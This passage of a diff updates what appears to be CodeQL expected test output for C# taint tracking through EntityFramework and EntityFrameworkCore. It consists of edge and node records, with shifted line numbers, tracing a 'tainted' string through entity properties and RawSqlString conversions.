+| EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:206:13:209:13 | { ..., ... } [property Name] : String | EntityFrameworkCore.cs:215:71:215:72 | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:208:24:208:32 | "tainted" : String | EntityFrameworkCore.cs:206:13:209:13 | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:211:13:214:13 | { ..., ... } [property Street] : String | EntityFrameworkCore.cs:215:85:215:86 | access to local variable a1 [property Street] : String |
+| EntityFrameworkCore.cs:213:26:213:34 | "tainted" : String | EntityFrameworkCore.cs:211:13:214:13 | { ..., ... } [property Street] : String |
+| EntityFrameworkCore.cs:215:60:215:88 | { ..., ... } [property Address, property Street] : String | EntityFrameworkCore.cs:216:37:216:53 | access to local variable personAddressMap1 [property Address, property Street] : String |
+| EntityFrameworkCore.cs:215:60:215:88 | { ..., ... } [property Person, property Name] : String | EntityFrameworkCore.cs:216:37:216:53 | access to local variable personAddressMap1 [property Person, property Name] : String |
+| EntityFrameworkCore.cs:215:71:215:72 | access to local variable p1 [property Name] : String | EntityFrameworkCore.cs:215:60:215:88 | { ..., ... } [property Person, property Name] : String |
+| EntityFrameworkCore.cs:215:85:215:86 | access to local variable a1 [property Street] : String | EntityFrameworkCore.cs:215:60:215:88 | { ..., ... } [property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:216:13:216:31 | [post] access to property PersonAddresses [element, property Address, property Street] : String | EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:31 | [post] access to property PersonAddresses [element, property Person, property Name] : String | EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:216:37:216:53 | access to local variable personAddressMap1 [property Address, property Street] : String | EntityFrameworkCore.cs:216:13:216:31 | [post] access to property PersonAddresses [element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:37:216:53 | access to local variable personAddressMap1 [property Person, property Name] : String | EntityFrameworkCore.cs:216:13:216:31 | [post] access to property PersonAddresses [element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:226:35:226:35 | p [property Name] : String | EntityFrameworkCore.cs:229:29:229:29 | access to parameter p [property Name] : String |
+| EntityFrameworkCore.cs:229:13:229:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:230:13:230:15 | access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:229:13:229:23 | [post] access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:229:13:229:15 | [post] access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:229:29:229:29 | access to parameter p [property Name] : String | EntityFrameworkCore.cs:229:13:229:23 | [post] access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:230:13:230:15 | access to local variable ctx [property Persons, element, property Name] : String | EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String | EntityFrameworkCore.cs:237:18:237:36 | call to method First<Person> [property Name] : String |
+| EntityFrameworkCore.cs:237:18:237:36 | call to method First<Person> [property Name] : String | EntityFrameworkCore.cs:237:18:237:41 | access to property Name |
+| EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String | EntityFrameworkCore.cs:245:18:245:38 | call to method First<Address> [property Street] : String |
+| EntityFrameworkCore.cs:245:18:245:38 | call to method First<Address> [property Street] : String | EntityFrameworkCore.cs:245:18:245:45 | access to property Street |
+| EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:36 | call to method First<Person> [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:36 | call to method First<Person> [property Addresses, element, property Street] : String | EntityFrameworkCore.cs:252:18:252:46 | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:46 | access to property Addresses [element, property Street] : String | EntityFrameworkCore.cs:252:18:252:54 | call to method First<Address> [property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:54 | call to method First<Address> [property Street] : String | EntityFrameworkCore.cs:252:18:252:61 | access to property Street |
 nodes
 | EntityFramework.cs:59:13:62:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
 | EntityFramework.cs:61:24:61:32 | "tainted" : String | semmle.label | "tainted" : String |
@@ -247,87 +247,87 @@ nodes
 | EntityFramework.cs:219:18:219:46 | access to property Addresses [element, property Street] : String | semmle.label | access to property Addresses [element, property Street] : String |
 | EntityFramework.cs:219:18:219:54 | call to method First<Address> [property Street] : String | semmle.label | call to method First<Address> [property Street] : String |
 | EntityFramework.cs:219:18:219:61 | access to property Street | semmle.label | access to property Street |
-| EntityFrameworkCore.cs:75:31:75:39 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:76:18:76:28 | access to local variable taintSource | semmle.label | access to local variable taintSource |
-| EntityFrameworkCore.cs:77:18:77:46 | (...) ... | semmle.label | (...) ... |
-| EntityFrameworkCore.cs:77:18:77:46 | object creation of type RawSqlString : RawSqlString | semmle.label | object creation of type RawSqlString : RawSqlString |
-| EntityFrameworkCore.cs:77:35:77:45 | access to local variable taintSource : String | semmle.label | access to local variable taintSource : String |
-| EntityFrameworkCore.cs:78:18:78:42 | (...) ... | semmle.label | (...) ... |
-| EntityFrameworkCore.cs:78:18:78:42 | call to operator implicit conversion : RawSqlString | semmle.label | call to operator implicit conversion : RawSqlString |
-| EntityFrameworkCore.cs:78:32:78:42 | access to local variable taintSource : String | semmle.label | access to local variable taintSource : String |
-| EntityFrameworkCore.cs:85:13:88:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:87:24:87:32 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:92:13:92:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:92:13:92:23 | [post] access to property Persons [element, property Name] : String | semmle.label | [post] access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:92:29:92:30 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:94:13:94:15 | access to local variable ctx [property Persons, element, property Name] : String | semmle.label | access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:107:13:110:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:109:24:109:32 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:114:13:114:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:114:13:114:23 | [post] access to property Persons [element, property Name] : String | semmle.label | [post] access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:114:29:114:30 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:116:19:116:21 | access to local variable ctx [property Persons, element, property Name] : String | semmle.label | access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:129:13:132:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:131:24:131:32 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:135:27:135:28 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:148:13:151:13 | { ..., ... } [property Title] : String | semmle.label | { ..., ... } [property Title] : String |
-| EntityFrameworkCore.cs:150:25:150:33 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:155:18:155:19 | access to local variable p1 [property Title] : String | semmle.label | access to local variable p1 [property Title] : String |
-| EntityFrameworkCore.cs:155:18:155:25 | access to property Title | semmle.label | access to property Title |
-| EntityFrameworkCore.cs:167:13:174:13 | { ..., ... } [property Addresses, element, property Street] : String | semmle.label | { ..., ... } [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:168:29:173:17 | array creation of type Address[] [element, property Street] : String | semmle.label | array creation of type Address[] [element, property Street] : String |
-| EntityFrameworkCore.cs:168:35:173:17 | { ..., ... } [element, property Street] : String | semmle.label | { ..., ... } [element, property Street] : String |
-| EntityFrameworkCore.cs:169:21:172:21 | object creation of type Address [property Street] : String | semmle.label | object creation of type Address [property Street] : String |
-| EntityFrameworkCore.cs:169:33:172:21 | { ..., ... } [property Street] : String | semmle.label | { ..., ... } [property Street] : String |
-| EntityFrameworkCore.cs:171:34:171:42 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:175:13:175:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:13:175:23 | [post] access to property Persons [element, property Addresses, element, property Street] : String | semmle.label | [post] access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:175:29:175:30 | access to local variable p1 [property Addresses, element, property Street] : String | semmle.label | access to local variable p1 [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:176:13:176:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:180:13:180:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:183:13:186:13 | { ..., ... } [property Street] : String | semmle.label | { ..., ... } [property Street] : String |
-| EntityFrameworkCore.cs:185:26:185:34 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:187:13:187:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String | semmle.label | [post] access to local variable ctx [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:187:13:187:25 | [post] access to property Addresses [element, property Street] : String | semmle.label | [post] access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:187:31:187:32 | access to local variable a1 [property Street] : String | semmle.label | access to local variable a1 [property Street] : String |
-| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:188:13:188:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:192:13:192:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:199:13:202:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
-| EntityFrameworkCore.cs:201:24:201:32 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:204:13:207:13 | { ..., ... } [property Street] : String | semmle.label | { ..., ... } [property Street] : String |
-| EntityFrameworkCore.cs:206:26:206:34 | "tainted" : String | semmle.label | "tainted" : String |
-| EntityFrameworkCore.cs:208:60:208:88 | { ..., ... } [property Address, property Street] : String | semmle.label | { ..., ... } [property Address, property Street] : String |
-| EntityFrameworkCore.cs:208:60:208:88 | { ..., ... } [property Person, property Name] : String | semmle.label | { ..., ... } [property Person, property Name] : String |
-| EntityFrameworkCore.cs:208:71:208:72 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
-| EntityFrameworkCore.cs:208:85:208:86 | access to local variable a1 [property Street] : String | semmle.label | access to local variable a1 [property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | semmle.label | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | semmle.label | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [element, property Address, property Street] : String | semmle.label | [post] access to property PersonAddresses [element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:13:209:31 | [post] access to property PersonAddresses [element, property Person, property Name] : String | semmle.label | [post] access to property PersonAddresses [element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [property Address, property Street] : String | semmle.label | access to local variable personAddressMap1 [property Address, property Street] : String |
-| EntityFrameworkCore.cs:209:37:209:53 | access to local variable personAddressMap1 [property Person, property Name] : String | semmle.label | access to local variable personAddressMap1 [property Person, property Name] : String |
-| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:210:13:210:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
-| EntityFrameworkCore.cs:216:13:216:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
-| EntityFrameworkCore.cs:219:35:219:35 | p [property Name] : String | semmle.label | p [property Name] : String |
-| EntityFrameworkCore.cs:222:13:222:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:222:13:222:23 | [post] access to property Persons [element, property Name] : String | semmle.label | [post] access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:222:29:222:29 | access to parameter p [property Name] : String | semmle.label | access to parameter p [property Name] : String |
-| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property Persons, element, property Name] : String | semmle.label | access to local variable ctx [property Persons, element, property Name] : String |
-| EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [element, property Name] : String | semmle.label | access to property Persons [element, property Name] : String |
-| EntityFrameworkCore.cs:230:18:230:36 | call to method First<Person> [property Name] : String | semmle.label | call to method First<Person> [property Name] : String |
-| EntityFrameworkCore.cs:230:18:230:41 | access to property Name | semmle.label | access to property Name |
-| EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [element, property Street] : String | semmle.label | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:238:18:238:38 | call to method First<Address> [property Street] : String | semmle.label | call to method First<Address> [property Street] : String |
-| EntityFrameworkCore.cs:238:18:238:45 | access to property Street | semmle.label | access to property Street |
-| EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [element, property Addresses, element, property Street] : String | semmle.label | access to property Persons [element, property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:36 | call to method First<Person> [property Addresses, element, property Street] : String | semmle.label | call to method First<Person> [property Addresses, element, property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:46 | access to property Addresses [element, property Street] : String | semmle.label | access to property Addresses [element, property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:54 | call to method First<Address> [property Street] : String | semmle.label | call to method First<Address> [property Street] : String |
-| EntityFrameworkCore.cs:245:18:245:61 | access to property Street | semmle.label | access to property Street |
+| EntityFrameworkCore.cs:82:31:82:39 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:83:18:83:28 | access to local variable taintSource | semmle.label | access to local variable taintSource |
+| EntityFrameworkCore.cs:84:18:84:46 | (...) ... | semmle.label | (...) ... |
+| EntityFrameworkCore.cs:84:18:84:46 | object creation of type RawSqlString : RawSqlString | semmle.label | object creation of type RawSqlString : RawSqlString |
+| EntityFrameworkCore.cs:84:35:84:45 | access to local variable taintSource : String | semmle.label | access to local variable taintSource : String |
+| EntityFrameworkCore.cs:85:18:85:42 | (...) ... | semmle.label | (...) ... |
+| EntityFrameworkCore.cs:85:18:85:42 | call to operator implicit conversion : RawSqlString | semmle.label | call to operator implicit conversion : RawSqlString |
+| EntityFrameworkCore.cs:85:32:85:42 | access to local variable taintSource : String | semmle.label | access to local variable taintSource : String |
+| EntityFrameworkCore.cs:92:13:95:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:94:24:94:32 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:99:13:99:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:99:13:99:23 | [post] access to property Persons [element, property Name] : String | semmle.label | [post] access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:99:29:99:30 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:101:13:101:15 | access to local variable ctx [property Persons, element, property Name] : String | semmle.label | access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:114:13:117:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:116:24:116:32 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:121:13:121:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:121:13:121:23 | [post] access to property Persons [element, property Name] : String | semmle.label | [post] access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:121:29:121:30 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:123:19:123:21 | access to local variable ctx [property Persons, element, property Name] : String | semmle.label | access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:136:13:139:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:138:24:138:32 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:142:27:142:28 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:155:13:158:13 | { ..., ... } [property Title] : String | semmle.label | { ..., ... } [property Title] : String |
+| EntityFrameworkCore.cs:157:25:157:33 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:162:18:162:19 | access to local variable p1 [property Title] : String | semmle.label | access to local variable p1 [property Title] : String |
+| EntityFrameworkCore.cs:162:18:162:25 | access to property Title | semmle.label | access to property Title |
+| EntityFrameworkCore.cs:174:13:181:13 | { ..., ... } [property Addresses, element, property Street] : String | semmle.label | { ..., ... } [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:175:29:180:17 | array creation of type Address[] [element, property Street] : String | semmle.label | array creation of type Address[] [element, property Street] : String |
+| EntityFrameworkCore.cs:175:35:180:17 | { ..., ... } [element, property Street] : String | semmle.label | { ..., ... } [element, property Street] : String |
+| EntityFrameworkCore.cs:176:21:179:21 | object creation of type Address [property Street] : String | semmle.label | object creation of type Address [property Street] : String |
+| EntityFrameworkCore.cs:176:33:179:21 | { ..., ... } [property Street] : String | semmle.label | { ..., ... } [property Street] : String |
+| EntityFrameworkCore.cs:178:34:178:42 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:182:13:182:15 | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:13:182:23 | [post] access to property Persons [element, property Addresses, element, property Street] : String | semmle.label | [post] access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:182:29:182:30 | access to local variable p1 [property Addresses, element, property Street] : String | semmle.label | access to local variable p1 [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:183:13:183:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:187:13:187:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:190:13:193:13 | { ..., ... } [property Street] : String | semmle.label | { ..., ... } [property Street] : String |
+| EntityFrameworkCore.cs:192:26:192:34 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:194:13:194:15 | [post] access to local variable ctx [property Addresses, element, property Street] : String | semmle.label | [post] access to local variable ctx [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:194:13:194:25 | [post] access to property Addresses [element, property Street] : String | semmle.label | [post] access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:194:31:194:32 | access to local variable a1 [property Street] : String | semmle.label | access to local variable a1 [property Street] : String |
+| EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:195:13:195:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:199:13:199:15 | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String | semmle.label | access to local variable ctx [property Persons, element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:206:13:209:13 | { ..., ... } [property Name] : String | semmle.label | { ..., ... } [property Name] : String |
+| EntityFrameworkCore.cs:208:24:208:32 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:211:13:214:13 | { ..., ... } [property Street] : String | semmle.label | { ..., ... } [property Street] : String |
+| EntityFrameworkCore.cs:213:26:213:34 | "tainted" : String | semmle.label | "tainted" : String |
+| EntityFrameworkCore.cs:215:60:215:88 | { ..., ... } [property Address, property Street] : String | semmle.label | { ..., ... } [property Address, property Street] : String |
+| EntityFrameworkCore.cs:215:60:215:88 | { ..., ... } [property Person, property Name] : String | semmle.label | { ..., ... } [property Person, property Name] : String |
+| EntityFrameworkCore.cs:215:71:215:72 | access to local variable p1 [property Name] : String | semmle.label | access to local variable p1 [property Name] : String |
+| EntityFrameworkCore.cs:215:85:215:86 | access to local variable a1 [property Street] : String | semmle.label | access to local variable a1 [property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | semmle.label | [post] access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:15 | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | semmle.label | [post] access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:216:13:216:31 | [post] access to property PersonAddresses [element, property Address, property Street] : String | semmle.label | [post] access to property PersonAddresses [element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:13:216:31 | [post] access to property PersonAddresses [element, property Person, property Name] : String | semmle.label | [post] access to property PersonAddresses [element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:216:37:216:53 | access to local variable personAddressMap1 [property Address, property Street] : String | semmle.label | access to local variable personAddressMap1 [property Address, property Street] : String |
+| EntityFrameworkCore.cs:216:37:216:53 | access to local variable personAddressMap1 [property Person, property Name] : String | semmle.label | access to local variable personAddressMap1 [property Person, property Name] : String |
+| EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:217:13:217:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Address, property Street] : String |
+| EntityFrameworkCore.cs:223:13:223:15 | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String | semmle.label | access to local variable ctx [property PersonAddresses, element, property Person, property Name] : String |
+| EntityFrameworkCore.cs:226:35:226:35 | p [property Name] : String | semmle.label | p [property Name] : String |
+| EntityFrameworkCore.cs:229:13:229:15 | [post] access to local variable ctx [property Persons, element, property Name] : String | semmle.label | [post] access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:229:13:229:23 | [post] access to property Persons [element, property Name] : String | semmle.label | [post] access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:229:29:229:29 | access to parameter p [property Name] : String | semmle.label | access to parameter p [property Name] : String |
+| EntityFrameworkCore.cs:230:13:230:15 | access to local variable ctx [property Persons, element, property Name] : String | semmle.label | access to local variable ctx [property Persons, element, property Name] : String |
+| EntityFrameworkCore.cs:237:18:237:28 | access to property Persons [element, property Name] : String | semmle.label | access to property Persons [element, property Name] : String |
+| EntityFrameworkCore.cs:237:18:237:36 | call to method First<Person> [property Name] : String | semmle.label | call to method First<Person> [property Name] : String |
+| EntityFrameworkCore.cs:237:18:237:41 | access to property Name | semmle.label | access to property Name |
+| EntityFrameworkCore.cs:245:18:245:30 | access to property Addresses [element, property Street] : String | semmle.label | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:245:18:245:38 | call to method First<Address> [property Street] : String | semmle.label | call to method First<Address> [property Street] : String |
+| EntityFrameworkCore.cs:245:18:245:45 | access to property Street | semmle.label | access to property Street |
+| EntityFrameworkCore.cs:252:18:252:28 | access to property Persons [element, property Addresses, element, property Street] : String | semmle.label | access to property Persons [element, property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:36 | call to method First<Person> [property Addresses, element, property Street] : String | semmle.label | call to method First<Person> [property Addresses, element, property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:46 | access to property Addresses [element, property Street] : String | semmle.label | access to property Addresses [element, property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:54 | call to method First<Address> [property Street] : String | semmle.label | call to method First<Address> [property Street] : String |
+| EntityFrameworkCore.cs:252:18:252:61 | access to property Street | semmle.label | access to property Street |
 subpaths
 #select
